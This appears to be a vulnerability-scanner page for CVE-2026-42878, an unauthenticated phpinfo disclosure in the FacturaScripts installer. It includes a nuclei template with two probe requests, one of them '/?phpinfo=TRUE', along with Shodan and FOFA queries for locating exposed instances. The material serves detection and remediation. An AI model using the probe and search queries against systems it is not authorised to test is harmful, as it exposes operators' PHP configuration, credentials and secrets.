FacturaScripts - Unauthenticated phpinfo Disclosure

mediumseverity

5.3CVSS score

0.9%likelihood of exploitation, next 30 days

60%of all CVEs are less likely

Readycheck to confirm it

Detected FacturaScripts exposes a debug branch in the Installer controller that calls phpinfo() when the request carries the phpinfo=TRUE query parameter, and on an instance that has not finished installation, this endpoint was reachable without authentication.

Impact

Remote attackers can access sensitive PHP configuration and environment variables, exposing credentials and secrets.

Fix

Update to version 2026 or later.

How to confirm it

Send: GET {{BaseURL}}
Positive when: status_code == 200 and contains(body, "FacturaScripts installer")
Send: GET {{BaseURL}}/?phpinfo=TRUE
Positive when: status_code == 200 and contains_all(to_lower(body), "phpinfo()</title>", "php version")

Run it with nuclei: nuclei -id CVE-2026-42878 -u <target>

The full check

id: CVE-2026-42878

info:
  name: FacturaScripts - Unauthenticated phpinfo Disclosure
  author: ChrisJr404
  severity: medium
  description: |
    Detected FacturaScripts exposes a debug branch in the Installer controller that calls phpinfo() when the request carries the phpinfo=TRUE query parameter, and on an instance that has not finished installation, this endpoint was reachable without authentication.
  impact: |
    Remote attackers can access sensitive PHP configuration and environment variables, exposing credentials and secrets.
  remediation: |
    Update to version 2026 or later.
  reference:
    - https://github.com/advisories/GHSA-vrxf-vrc4-22p7
    - https://github.com/NeoRazorX/facturascripts/blob/master/Core/Controller/Installer.php
    - https://nvd.nist.gov/vuln/detail/CVE-2026-42878
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-42878
    epss-score: 0.00902
    epss-percentile: 0.60049
    cwe-id: CWE-200
  metadata:
    verified: true
    max-request: 2
    vendor: facturascripts
    product: facturascripts
    shodan-query: html:"FacturaScripts installer"
    fofa-query: body="FacturaScripts installer"
  tags: cve,cve2026,facturascripts,phpinfo,exposure,disclosure,unauth

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: dsl
        internal: true
        dsl:
          - "status_code == 200"
          - "contains(body, \"FacturaScripts installer\")"
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/?phpinfo=TRUE"

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains_all(to_lower(body), \"phpinfo()</title>\", \"php version\")"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from